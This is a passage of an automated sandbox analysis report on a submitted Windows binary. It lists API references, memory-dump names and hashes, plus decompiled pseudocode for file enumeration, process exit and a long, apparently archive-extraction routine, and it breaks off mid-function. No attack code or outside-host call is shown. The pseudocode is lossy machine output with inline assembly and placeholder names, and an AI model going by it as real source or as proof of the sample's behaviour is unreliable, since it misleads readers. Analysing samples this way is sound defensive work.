0x00000000
0x00000000
0x013aa334
0x013aa31f
0x013aa2fe
0x013aa432
0x013aa445

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,013AA1BE,000000FF,?,?), ref: 013AA2F8
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,013AA1BE,000000FF,?,?), ref: 013AA32E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,013AA1BE,000000FF,?,?), ref: 013AA336
FindNextFileW.KERNEL32(?,?,?,?,?,?,013AA1BE,000000FF,?,?), ref: 013AA35E
GetLastError.KERNEL32(?,?,?,?,013AA1BE,000000FF,?,?), ref: 013AA36A

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: c6b766280e96810234c18dff9316ab09d181a3713cbebcbbbf7071abcf8dcb77
Instruction ID: caeb8dba35f573f523dcfd2174e51c1f63748fe4ccd177d6963f442e9e376567
Opcode Fuzzy Hash: c6b766280e96810234c18dff9316ab09d181a3713cbebcbbbf7071abcf8dcb77
Instruction Fuzzy Hash: 87418E72604246AFC325EF78C880ADBF7E8FB49344F444A2AF5E9D3240D774A954CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013C49FA Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013C49FA(int _a4) {
				void* _t14;
				void* _t16;

				if(E013C7B04(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E013C4A7F(_t14, _t16, _a4);
				ExitProcess(_a4);
			}

0x013c4a06
0x013c4a22
0x013c4a22
0x013c4a2b
0x013c4a34

APIs

GetCurrentProcess.KERNEL32(?,?,013C49D0,?,013D7F60,0000000C,013C4B27,?,00000002,00000000), ref: 013C4A1B
TerminateProcess.KERNEL32(00000000,?,013C49D0,?,013D7F60,0000000C,013C4B27,?,00000002,00000000), ref: 013C4A22
ExitProcess.KERNEL32 ref: 013C4A34

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: fde5a7237a91a7b51418900d59879e09aec8450a64c21fd2b9f638bf4a51c5c2
Instruction ID: 59899bfbcbaf983d36c7f3f35d4ce048287f52d9baca93d0ca4c484a49c994d3
Opcode Fuzzy Hash: fde5a7237a91a7b51418900d59879e09aec8450a64c21fd2b9f638bf4a51c5c2
Instruction Fuzzy Hash: 78E08C39001108AFDF26AF2CE908A883F6DFF14B46F000018FD088A121CB35ED92DB44

Uniqueness

Uniqueness Score: -1.00%

Function 013A83EB Relevance: 3.9, APIs: 2, Instructions: 931
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E013A83EB(intOrPtr __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t367;
				signed int _t371;
				signed int _t372;
				signed int _t377;
				signed int _t382;
				void* _t384;
				signed int _t385;
				signed int _t389;
				signed int _t390;
				signed int _t395;
				signed int _t400;
				signed int _t401;
				signed int _t405;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				signed int _t420;
				signed int _t429;
				char _t431;
				char _t433;
				signed int _t435;
				signed int _t455;
				signed int _t457;
				signed int _t461;
				signed int _t470;
				intOrPtr _t473;
				char _t480;
				signed int _t481;
				void* _t492;
				void* _t500;
				void* _t502;
				signed int _t512;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t521;
				signed int _t524;
				signed int _t532;
				signed int _t541;
				signed int _t543;
				signed int _t545;
				signed int _t547;
				signed char _t548;
				signed int _t551;
				void* _t556;
				signed int _t564;
				intOrPtr* _t574;
				intOrPtr _t576;
				signed int _t577;
				signed int _t586;
				void* _t589;
				signed int _t592;
				signed int _t601;
				signed int _t608;
				signed int _t610;
				signed int _t611;
				signed int _t613;
				signed int _t631;
				signed int _t632;
				void* _t639;
				signed int _t655;
				signed int _t666;
				void* _t667;
				void* _t669;
				signed int _t670;
				signed int _t671;
				signed int _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				signed int _t681;
				void* _t682;
				intOrPtr _t684;
				intOrPtr _t691;
				signed int _t693;
				signed int _t697;
				void* _t699;
				signed int _t701;
				signed int _t702;
				void* _t705;
				void* _t707;
				void* _t709;

				_t576 = __ecx;
				E013BCDF0(E013CF591, _t705);
				E013BCEC0();
				_t574 =  *((intOrPtr*)(_t705 + 8));
				_t664 = 0;
				_t684 = _t576;
				 *((intOrPtr*)(_t705 - 0x20)) = _t684;
				_t367 =  *( *(_t684 + 8) + 0x82ea) & 0x0000ffff;
				 *(_t705 - 0x18) = _t367;
				if( *(_t705 + 0xc) != 0) {
					L6:
					_t691 =  *((intOrPtr*)(_t574 + 0x21dc));
					__eflags = _t691 - 2;
					if(_t691 == 2) {
						 *(_t684 + 0x10f5) = _t664;
						__eflags =  *(_t574 + 0x32dc) - _t664;
						if(__eflags > 0) {
							L22:
							__eflags =  *(_t574 + 0x32e4) - _t664;
							if(__eflags > 0) {
								L26:
								_t577 =  *(_t684 + 8);
								__eflags =  *((intOrPtr*)(_t577 + 0x615c)) - _t664;
								if( *((intOrPtr*)(_t577 + 0x615c)) != _t664) {
									L29:
									 *(_t705 - 0x11) = _t664;
									_t35 = _t705 - 0x519c; // -18844
									_t36 = _t705 - 0x11; // 0x7ef
									_t371 = E013A5D68(_t577, _t574 + 0x2280, _t36, 6, _t664, _t35, 0x800);
									__eflags = _t371;
									_t372 = _t371 & 0xffffff00 | _t371 != 0x00000000;
									 *(_t705 - 0x10) = _t372;
									__eflags = _t372;
									if(_t372 != 0) {
										__eflags =  *(_t705 - 0x11);
										if( *(_t705 - 0x11) == 0) {
											__eflags = 0;
											 *((char*)(_t684 + 0xf1)) = 0;
										}
									}
									E013A1FE2(_t574);
									_push(0x800);
									_t43 = _t705 - 0x1130; // -2352
									_push(_t574 + 0x22a8);
									E013AAF3C();
									__eflags =  *((char*)(_t574 + 0x3373));
									 *(_t705 - 0x1c) = 1;
									if( *((char*)(_t574 + 0x3373)) == 0) {
										_t377 = E013A20CC(_t574);
										__eflags = _t377;
										if(_t377 == 0) {
											_t548 =  *(_t684 + 8);
											__eflags = 1 -  *((intOrPtr*)(_t548 + 0x72bc));
											asm("sbb al, al");
											_t61 = _t705 - 0x10;
											 *_t61 =  *(_t705 - 0x10) &  !_t548;
											__eflags =  *_t61;
										}
									} else {
										_t551 =  *( *(_t684 + 8) + 0x72bc);
										__eflags = _t551 - 1;
										if(_t551 != 1) {
											__eflags =  *(_t705 - 0x11);
											if( *(_t705 - 0x11) == 0) {
												__eflags = _t551;
												 *(_t705 - 0x10) =  *(_t705 - 0x10) & (_t551 & 0xffffff00 | _t551 == 0x00000000) - 0x00000001;
												_push(0);
												_t54 = _t705 - 0x1130; // -2352
												_t556 = E013AB88B(_t54);
												_t655 =  *(_t684 + 8);
												__eflags =  *((intOrPtr*)(_t655 + 0x72bc)) - 1 - _t556;
												if( *((intOrPtr*)(_t655 + 0x72bc)) - 1 != _t556) {
													 *(_t705 - 0x10) = 0;
												} else {
													_t57 = _t705 - 0x1130; // -2352
													_push(1);
													E013AB88B(_t57);
												}
											}
										}
									}
									 *((char*)(_t684 + 0x5f)) =  *((intOrPtr*)(_t574 + 0x3319));
									 *((char*)(_t684 + 0x60)) = 0;
									asm("sbb eax, [ebx+0x32dc]");
									 *((intOrPtr*)( *_t574 + 0x10))( *((intOrPtr*)(_t574 + 0x6ca8)) -  *(_t574 + 0x32d8),  *((intOrPtr*)(_t574 + 0x6cac)), 0);
									_t666 = 0;
									_t382 = 0;
									 *(_t705 + 0xb) = 0;
									 *(_t705 + 0xc) = 0;
									__eflags =  *(_t705 - 0x10);
									if( *(_t705 - 0x10) != 0) {
										L43:
										_t693 =  *(_t705 - 0x18);
										_t586 =  *((intOrPtr*)( *(_t684 + 8) + 0x61f9));
										_t384 = 0x49;
										__eflags = _t586;
										if(_t586 == 0) {
											L45:
											_t385 = _t666;
											L46:
											__eflags = _t586;
											_t82 = _t705 - 0x1130; // -2352
											_t389 = E013B06D2(_t586, _t82, (_t385 & 0xffffff00 | _t586 == 0x00000000) & 0x000000ff, _t385,  *(_t705 + 0xc)); // executed
											__eflags = _t389;
											if(__eflags == 0) {
												L213:
												_t390 = 0;
												L16:
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t705 - 0xc));
												return _t390;
											}
											_t84 = _t705 - 0x1130; // -2352
											E013A80DA(_t684, __eflags, _t574, _t84, _t684 + 0x10f6, 0x800);
											__eflags =  *(_t705 + 0xb);
											if( *(_t705 + 0xb) != 0) {
												L50:
												 *(_t705 + 0xf) = 0;
												L51:
												_t395 =  *(_t684 + 8);
												_t589 = 0x45;
												__eflags =  *((char*)(_t395 + 0x6153));
												_t667 = 0x58;
												if( *((char*)(_t395 + 0x6153)) != 0) {
													L53:
													__eflags = _t693 - _t589;
													if(_t693 == _t589) {
														L55:
														_t93 = _t705 - 0x319c; // -10652
														E013A6FA3(_t93);
														_push(0);
														_t94 = _t705 - 0x319c; // -10652
														_t400 = E013AA195(_t93, _t667, __eflags, _t684 + 0x10f6, _t94);
														__eflags = _t400;
														if(_t400 == 0) {
															_t401 =  *(_t684 + 8);
															__eflags =  *((char*)(_t401 + 0x6153));
															_t105 = _t705 + 0xf;
															 *_t105 =  *(_t705 + 0xf) & (_t401 & 0xffffff00 |  *((char*)(_t401 + 0x6153)) != 0x00000000) - 0x00000001;
															__eflags =  *_t105;
															L61:
															_t107 = _t705 - 0x1130; // -2352
															_t405 = E013A7C11(_t107, _t574, _t107);
															__eflags = _t405;
															if(_t405 != 0) {
																while(1) {
																	__eflags =  *((char*)(_t574 + 0x331b));
																	if( *((char*)(_t574 + 0x331b)) == 0) {
																		goto L65;
																	}
																	_t112 = _t705 - 0x1130; // -2352
																	_t541 = E013A80A6(_t684, _t574);
																	__eflags = _t541;
																	if(_t541 == 0) {
																		 *((char*)(_t684 + 0x20f6)) = 1;
																		goto L213;
																	}
																	L65:
																	_t114 = _t705 - 0x130; // 0x6d0
																	_t592 = 0x40;
																	memcpy(_t114,  *(_t684 + 8) + 0x5024, _t592 << 2);
																	_t709 = _t707 + 0xc;
																	asm("movsw");
																	_t117 = _t705 - 0x2c; // 0x7d4
																	_t684 =  *((intOrPtr*)(_t705 - 0x20));
																	 *(_t705 - 4) = 0;
																	asm("sbb ecx, ecx");
																	_t124 = _t705 - 0x130; // 0x6d0
																	E013AC5CD(_t684 + 0x10, 0,  *((intOrPtr*)(_t574 + 0x331c)), _t124,  ~( *(_t574 + 0x3320) & 0x000000ff) & _t574 + 0x00003321, _t574 + 0x3331,  *((intOrPtr*)(_t574 + 0x336c)), _t574 + 0x334b, _t117);
																	__eflags =  *((char*)(_t574 + 0x331b));
																	if( *((char*)(_t574 + 0x331b)) == 0) {
																		L73:
																		 *(_t705 - 4) =  *(_t705 - 4) | 0xffffffff;
																		_t142 = _t705 - 0x130; // 0x6d0
																		L013ADE46(_t142);
																		_t143 = _t705 - 0x2154; // -6484
																		E013A9451(_t143);
																		_t415 =  *(_t574 + 0x3380);
																		 *(_t705 - 4) = 1;
																		 *(_t705 - 0x24) = _t415;
																		_t669 = 0x50;
																		__eflags = _t415;
																		if(_t415 == 0) {
																			L83:
																			_t416 = E013A20CC(_t574);
																			__eflags = _t416;
																			if(_t416 == 0) {
																				_t601 =  *(_t705 + 0xf);
																				__eflags = _t601;
																				if(_t601 == 0) {
																					_t697 =  *(_t705 - 0x18);
																					L96:
																					__eflags =  *((char*)(_t574 + 0x6cb4));
																					if( *((char*)(_t574 + 0x6cb4)) == 0) {
																						__eflags = _t601;
																						if(_t601 == 0) {
																							L206:
																							 *(_t705 - 4) =  *(_t705 - 4) | 0xffffffff;
																							_t355 = _t705 - 0x2154; // -6484
																							E013A9487(_t355);
																							__eflags =  *(_t705 - 0x10);
																							_t382 =  *(_t705 + 0xf);
																							_t670 =  *(_t705 + 0xb);
																							if( *(_t705 - 0x10) != 0) {
																								_t359 = _t684 + 0xec;
																								 *_t359 =  *(_t684 + 0xec) + 1;
																								__eflags =  *_t359;
																							}
																							L208:
																							__eflags =  *((char*)(_t684 + 0x60));
																							if( *((char*)(_t684 + 0x60)) != 0) {
																								goto L213;
																							}
																							__eflags = _t382;
																							if(_t382 != 0) {
																								L15:
																								_t390 = 1;
																								goto L16;
																							}
																							__eflags =  *((intOrPtr*)(_t574 + 0x6cb4)) - _t382;
																							if( *((intOrPtr*)(_t574 + 0x6cb4)) != _t382) {
																								__eflags = _t670;
																								if(_t670 != 0) {
																									goto L15;
																								}
																								goto L213;
																							}
																							L211:
																							E013A1EAB(_t574);
																							goto L15;
																						}
																						L101:
																						_t419 =  *(_t684 + 8);
																						__eflags =  *((char*)(_t419 + 0x61f9));
																						if( *((char*)(_t419 + 0x61f9)) == 0) {
																							L103:
																							_t420 =  *(_t705 + 0xb);
																							__eflags = _t420;
																							if(_t420 != 0) {
																								L108:
																								 *((char*)(_t705 - 0xf)) = 1;
																								__eflags = _t420;
																								if(_t420 != 0) {
																									L110:
																									 *((intOrPtr*)(_t684 + 0xe8)) =  *((intOrPtr*)(_t684 + 0xe8)) + 1;
																									 *((intOrPtr*)(_t684 + 0x80)) = 0;
																									 *((intOrPtr*)(_t684 + 0x84)) = 0;
																									 *((intOrPtr*)(_t684 + 0x88)) = 0;
																									 *((intOrPtr*)(_t684 + 0x8c)) = 0;
																									E013AA6F9(_t684 + 0xc8, _t669,  *((intOrPtr*)(_t574 + 0x32f0)),  *((intOrPtr*)( *(_t684 + 8) + 0x82d4))); // executed
																									E013AA6F9(_t684 + 0xa0, _t669,  *((intOrPtr*)(_t574 + 0x32f0)),  *((intOrPtr*)( *(_t684 + 8) + 0x82d4)));
																									_t699 = _t684 + 0x10;
																									 *(_t684 + 0x30) =  *(_t574 + 0x32d8);
																									_t213 = _t705 - 0x2154; // -6484
																									 *(_t684 + 0x34) =  *(_t574 + 0x32dc);
																									E013AC615(_t699, _t574, _t213);
																									_t671 =  *((intOrPtr*)(_t705 - 0xf));
																									_t608 = 0;
																									_t429 =  *(_t705 + 0xb);
																									 *((char*)(_t684 + 0x39)) = _t671;
																									 *((char*)(_t684 + 0x3a)) = _t429;
																									 *(_t705 - 0x1c) = 0;
																									 *(_t705 - 0x28) = 0;
																									__eflags = _t671;
																									if(_t671 != 0) {
																										L127:
																										_t672 =  *(_t684 + 8);
																										__eflags =  *((char*)(_t672 + 0x6198));
																										 *((char*)(_t705 - 0x2141)) =  *((char*)(_t672 + 0x6198)) == 0;
																										__eflags =  *((char*)(_t705 - 0xf));
																										if( *((char*)(_t705 - 0xf)) != 0) {
																											L131:
																											_t431 = 1;
																											__eflags = 1;
																											L132:
																											__eflags =  *(_t705 - 0x24);
																											 *((char*)(_t705 - 0xd)) = _t608;
																											 *((char*)(_t705 - 0x12)) = _t431;
																											 *((char*)(_t705 - 0xe)) = _t431;
																											if( *(_t705 - 0x24) == 0) {
																												__eflags =  *(_t574 + 0x3318);
																												if( *(_t574 + 0x3318) == 0) {
																													__eflags =  *((char*)(_t574 + 0x22a0));
																													if(__eflags != 0) {
																														E013B1FA8(_t574,  *((intOrPtr*)(_t684 + 0xe0)), _t705,  *((intOrPtr*)(_t574 + 0x3374)),  *(_t574 + 0x3370) & 0x000000ff);
																														_t473 =  *((intOrPtr*)(_t684 + 0xe0));
																														 *(_t473 + 0x4c48) =  *(_t574 + 0x32e0);
																														__eflags = 0;
																														 *(_t473 + 0x4c4c) =  *(_t574 + 0x32e4);
																														 *((char*)(_t473 + 0x4c60)) = 0;
																														E013B1C3F( *((intOrPtr*)(_t684 + 0xe0)),  *((intOrPtr*)(_t574 + 0x229c)),  *(_t574 + 0x3370) & 0x000000ff); // executed
																													} else {
																														_push( *(_t574 + 0x32e4));
																														_push( *(_t574 + 0x32e0));
																														_push(_t699);
																														E013A9120(_t574, _t672, _t684, __eflags);
																													}
																												}
																												L163:
																												E013A1EAB(_t574);
																												__eflags =  *((char*)(_t574 + 0x3319));
																												if( *((char*)(_t574 + 0x3319)) != 0) {
																													L166:
																													_t433 = 0;
																													__eflags = 0;
																													_t610 = 0;
																													L167:
																													__eflags =  *(_t574 + 0x3370);
																													if( *(_t574 + 0x3370) != 0) {
																														__eflags =  *((char*)(_t574 + 0x22a0));
																														if( *((char*)(_t574 + 0x22a0)) == 0) {
																															L175:
																															__eflags =  *(_t705 + 0xb);
																															 *((char*)(_t705 - 0xd)) = _t433;
																															if( *(_t705 + 0xb) != 0) {
																																L185:
																																__eflags =  *((char*)(_t705 - 0xf));
																																if( *((char*)(_t705 - 0xf)) != 0) {
																																	goto L206;
																																}
																																_t611 =  *(_t705 - 0x18);
																																_t673 = 0x58;
																																__eflags = _t611 - _t673;
																																if(_t611 == _t673) {
																																	L188:
																																	__eflags =  *(_t705 - 0x24);
																																	if( *(_t705 - 0x24) == 0) {
																																		L191:
																																		__eflags = _t433;
																																		if(_t433 == 0) {
																																			L194:
																																			_t674 =  *(_t705 - 0x28);
																																			__eflags = _t674;
																																			_t613 =  *(_t705 - 0x1c);
																																			if(_t674 > 0) {
																																				L196:
																																				__eflags = _t433;
																																				if(_t433 != 0) {
																																					L199:
																																					_t323 = _t705 - 0x2154; // -6484
																																					E013A9BBA(_t323);
																																					L200:
																																					_t435 =  *(_t684 + 8);
																																					__eflags =  *((char*)(_t435 + 0x6150));
																																					if( *((char*)(_t435 + 0x6150)) != 0) {
																																						_t326 = _t574 + 0x22a4;
																																						 *_t326 =  *(_t574 + 0x22a4) & 0xffffffdf;
																																						__eflags =  *_t326;
																																					}
																																					asm("sbb eax, eax");
																																					asm("sbb ecx, ecx");
																																					asm("sbb eax, eax");
																																					_t335 = _t705 - 0x2154; // -6484
																																					E013A9A62(_t335, _t574 + 0x32d0,  ~( *( *(_t684 + 8) + 0x72c8)) & _t574 + 0x000032c0,  ~( *( *(_t684 + 8) + 0x72cc)) & _t574 + 0x000032c8,  ~( *( *(_t684 + 8) + 0x72d0)) & _t574 + 0x000032d0);
																																					_t336 = _t705 - 0x2154; // -6484
																																					E013A94F3(_t336);
																																					_t337 = _t705 - 0x2136; // -6454
																																					E013A7A9A( *((intOrPtr*)(_t705 - 0x20)),  *((intOrPtr*)( *((intOrPtr*)(_t705 - 0x20)) + 8)), _t574, _t337);
																																					asm("sbb eax, eax");
																																					asm("sbb eax, eax");
																																					E013A9A5F( ~( *( *((intOrPtr*)( *((intOrPtr*)(_t705 - 0x20)) + 8)) + 0x72c8)) & _t574 + 0x000032c0,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t705 - 0x20)) + 8)) + 0x72c8)) & _t574 + 0x000032c0,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t705 - 0x20)) + 8)) + 0x72d0)) & _t574 + 0x000032d0);
																																					_t684 =  *((intOrPtr*)(_t705 - 0x20));
																																					_t455 =  *(_t684 + 8);
																																					__eflags =  *((char*)(_t455 + 0x61a0));
																																					if( *((char*)(_t455 + 0x61a0)) == 0) {
																																						_t349 = _t705 - 0x2136; // -6454
																																						_t457 = E013AA113(_t349,  *(_t574 + 0x22a4)); // executed
																																						__eflags = _t457;
																																						if(__eflags == 0) {
																																							_t350 = _t705 - 0x2136; // -6454
																																							E013A6F5F(__eflags, 0x11, _t574 + 0x1e, _t350);
																																						}
																																					}
																																					 *(_t684 + 0x10f5) = 1;
																																					goto L206;
																																				}
																																				__eflags =  *((intOrPtr*)(_t684 + 0x88)) - _t613;
																																				if( *((intOrPtr*)(_t684 + 0x88)) != _t613) {
																																					goto L199;
																																				}
																																				__eflags =  *((intOrPtr*)(_t684 + 0x8c)) - _t674;
																																				if( *((intOrPtr*)(_t684 + 0x8c)) == _t674) {
																																					goto L200;
																																				}
																																				goto L199;
																																			}
																																			__eflags = _t613;
																																			if(_t613 == 0) {
																																				goto L200;
																																			}
																																			goto L196;
																																		}
																																		_t461 =  *(_t684 + 8);
																																		__eflags =  *((char*)(_t461 + 0x6198));
																																		if( *((char*)(_t461 + 0x6198)) == 0) {
																																			goto L206;
																																		}
																																		_t433 =  *((intOrPtr*)(_t705 - 0xd));
																																		goto L194;
																																	}
																																	__eflags =  *(_t574 + 0x3380) - 5;
																																	if( *(_t574 + 0x3380) != 5) {
																																		goto L206;
																																	}
																																	__eflags =  *((char*)(_t705 - 0xe));
																																	if( *((char*)(_t705 - 0xe)) == 0) {
																																		goto L206;
																																	}
																																	goto L191;
																																}
																																_t676 = 0x45;
																																__eflags = _t611 - _t676;
																																if(_t611 != _t676) {
																																	goto L206;
																																}
																																goto L188;
																															}
																															__eflags =  *((char*)(_t705 - 0x12));
																															if( *((char*)(_t705 - 0x12)) == 0) {
																																goto L185;
																															}
																															__eflags = _t610;
																															if(_t610 != 0) {
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t574 + 0x331b)) - _t610;
																															if(__eflags == 0) {
																																L183:
																																_t307 = _t705 - 0x1130; // -2352
																																_push(_t574 + 0x1e);
																																_push(3);
																																L184:
																																E013A6F5F(__eflags);
																																 *((char*)(_t705 - 0xd)) = 1;
																																E013A6E8B(0x13dcbe8, 3);
																																_t433 =  *((intOrPtr*)(_t705 - 0xd));
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t574 + 0x3341)) - _t610;
																															if( *((intOrPtr*)(_t574 + 0x3341)) == _t610) {
																																L181:
																																__eflags =  *((char*)(_t684 + 0xf3));
																																if(__eflags != 0) {
																																	goto L183;
																																}
																																_t305 = _t705 - 0x1130; // -2352
																																_push(_t574 + 0x1e);
																																_push(4);
																																goto L184;
																															}
																															__eflags =  *(_t574 + 0x6cc4) - _t610;
																															if(__eflags == 0) {
																																goto L183;
																															}
																															goto L181;
																														}
																														__eflags =  *(_t574 + 0x32e4) - _t433;
																														if(__eflags < 0) {
																															goto L175;
																														}
																														if(__eflags > 0) {
																															L173:
																															__eflags = _t610;
																															if(_t610 != 0) {
																																 *((char*)(_t684 + 0xf3)) = 1;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t574 + 0x32e0) - _t433;
																														if( *(_t574 + 0x32e0) <= _t433) {
																															goto L175;
																														}
																														goto L173;
																													}
																													 *((char*)(_t684 + 0xf3)) = _t433;
																													goto L175;
																												}
																												asm("sbb edx, edx");
																												_t470 = E013AA6C7(_t684 + 0xc8, _t684, _t574 + 0x32f0,  ~( *(_t574 + 0x334a) & 0x000000ff) & _t574 + 0x0000334b);
																												__eflags = _t470;
																												if(_t470 == 0) {
																													goto L166;
																												}
																												_t610 = 1;
																												_t433 = 0;
																												goto L167;
																											}
																											_t701 =  *(_t574 + 0x3380);
																											__eflags = _t701 - 4;
																											if(__eflags == 0) {
																												L146:
																												_t258 = _t705 - 0x419c; // -14748
																												E013A80DA(_t684, __eflags, _t574, _t574 + 0x3384, _t258, 0x800);
																												_t608 =  *((intOrPtr*)(_t705 - 0xd));
																												__eflags = _t608;
																												if(_t608 == 0) {
																													L153:
																													_t480 =  *((intOrPtr*)(_t705 - 0xe));
																													L154:
																													__eflags =  *((intOrPtr*)(_t574 + 0x6cb0)) - 2;
																													if( *((intOrPtr*)(_t574 + 0x6cb0)) != 2) {
																														L141:
																														__eflags = _t608;
																														if(_t608 == 0) {
																															L157:
																															_t481 = 0;
																															__eflags = 0;
																															L158:
																															 *(_t684 + 0x10f5) = _t481;
																															goto L163;
																														}
																														L142:
																														__eflags = _t480;
																														if(_t480 == 0) {
																															goto L157;
																														}
																														_t481 = 1;
																														goto L158;
																													}
																													__eflags = _t608;
																													if(_t608 != 0) {
																														goto L142;
																													}
																													L140:
																													 *((char*)(_t705 - 0x12)) = 0;
																													goto L141;
																												}
																												__eflags =  *((short*)(_t705 - 0x419c));
																												if( *((short*)(_t705 - 0x419c)) == 0) {
																													goto L153;
																												}
																												_t262 = _t705 - 0x419c; // -14748
																												_push(0x800);
																												_push(_t684 + 0x10f6);
																												__eflags = _t701 - 4;
																												if(__eflags != 0) {
																													_push(_t574 + 0x1e);
																													_t265 = _t705 - 0x2154; // -6484
																													_t480 = E013A905E(_t672, __eflags);
																												} else {
																													_t480 = E013A7586(_t608, __eflags);
																												}
																												L151:
																												 *((char*)(_t705 - 0xe)) = _t480;
																												__eflags = _t480;
																												if(_t480 == 0) {
																													L139:
																													_t608 =  *((intOrPtr*)(_t705 - 0xd));
																													goto L140;
																												}
																												_t608 =  *((intOrPtr*)(_t705 - 0xd));
																												goto L154;
																											}
																											__eflags = _t701 - 5;
																											if(__eflags == 0) {
																												goto L146;
																											}
																											__eflags = _t701 - _t431;
																											if(_t701 == _t431) {
																												L144:
																												__eflags = _t608;
																												if(_t608 == 0) {
																													goto L153;
																												}
																												_push(_t684 + 0x10f6);
																												_t480 = E013A77D4(_t672, _t684 + 0x10, _t574);
																												goto L151;
																											}
																											__eflags = _t701 - 2;
																											if(_t701 == 2) {
																												goto L144;
																											}
																											__eflags = _t701 - 3;
																											if(__eflags == 0) {
																												goto L144;
																											}
																											E013A6F5F(__eflags, 0x47, _t574 + 0x1e, _t684 + 0x10f6);
																											__eflags = 0;
																											_t480 = 0;
																											 *((char*)(_t705 - 0xe)) = 0;
																											goto L139;
																										}
																										__eflags = _t429;
																										if(_t429 != 0) {
																											goto L131;
																										}
																										_t492 = 0x50;
																										__eflags =  *(_t705 - 0x18) - _t492;
																										if( *(_t705 - 0x18) == _t492) {
																											goto L131;
																										}
																										_t431 = 1;
																										_t608 = 1;
																										goto L132;
																									}
																									__eflags =  *(_t574 + 0x6cc4);
																									if( *(_t574 + 0x6cc4) != 0) {
																										goto L127;
																									}
																									_t702 =  *(_t574 + 0x32e4);
																									_t681 =  *(_t574 + 0x32e0);
																									__eflags = _t702;
																									if(__eflags < 0) {
																										L126:
																										_t699 = _t684 + 0x10;
																										goto L127;
																									}
																									if(__eflags > 0) {
																										L115:
																										_t631 =  *(_t574 + 0x32d8);
																										_t632 = _t631 << 0xa;
																										__eflags = ( *(_t574 + 0x32dc) << 0x00000020 | _t631) << 0xa - _t702;
																										if(__eflags < 0) {
																											L125:
																											_t429 =  *(_t705 + 0xb);
																											_t608 = 0;
																											__eflags = 0;
																											goto L126;
																										}
																										if(__eflags > 0) {
																											L118:
																											__eflags = _t702;
																											if(__eflags < 0) {
																												L124:
																												_t233 = _t705 - 0x2154; // -6484
																												E013A98B9(_t233,  *(_t574 + 0x32e0),  *(_t574 + 0x32e4));
																												 *(_t705 - 0x1c) =  *(_t574 + 0x32e0);
																												 *(_t705 - 0x28) =  *(_t574 + 0x32e4);
																												goto L125;
																											}
																											if(__eflags > 0) {
																												L121:
																												_t500 = E013A96FA(_t574, _t681);
																												__eflags = _t681 -  *(_t574 + 0x32dc);
																												if(__eflags < 0) {
																													goto L125;
																												}
																												if(__eflags > 0) {
																													goto L124;
																												}
																												__eflags = _t500 -  *(_t574 + 0x32d8);
																												if(_t500 <=  *(_t574 + 0x32d8)) {
																													goto L125;
																												}
																												goto L124;
																											}
																											__eflags = _t681 - 0x5f5e100;
																											if(_t681 < 0x5f5e100) {
																												goto L124;
																											}
																											goto L121;
																										}
																										__eflags = _t632 - _t681;
																										if(_t632 <= _t681) {
																											goto L125;
																										}
																										goto L118;
																									}
																									__eflags = _t681 - 0xf4240;
																									if(_t681 <= 0xf4240) {
																										goto L126;
																									}
																									goto L115;
																								}
																								L109:
																								_t194 = _t684 + 0xe4;
																								 *_t194 =  *(_t684 + 0xe4) + 1;
																								__eflags =  *_t194;
																								goto L110;
																							}
																							 *((char*)(_t705 - 0xf)) = 0;
																							_t502 = 0x50;
																							__eflags = _t697 - _t502;
																							if(_t697 != _t502) {
																								_t188 = _t705 - 0x2154; // -6484
																								__eflags = E013A976A(_t188);
																								if(__eflags != 0) {
																									E013A6F5F(__eflags, 0x3b, _t574 + 0x1e, _t684 + 0x10f6);
																									E013A6F23(0x13dcbe8, _t705, _t574 + 0x1e, _t684 + 0x10f6);
																								}
																							}
																							goto L109;
																						}
																						 *(_t684 + 0x10f5) = 1;
																						__eflags =  *((char*)(_t419 + 0x61f9));
																						if( *((char*)(_t419 + 0x61f9)) != 0) {
																							_t420 =  *(_t705 + 0xb);
																							goto L108;
																						}
																						goto L103;
																					}
																					 *(_t705 + 0xb) = 1;
																					 *(_t705 + 0xf) = 1;
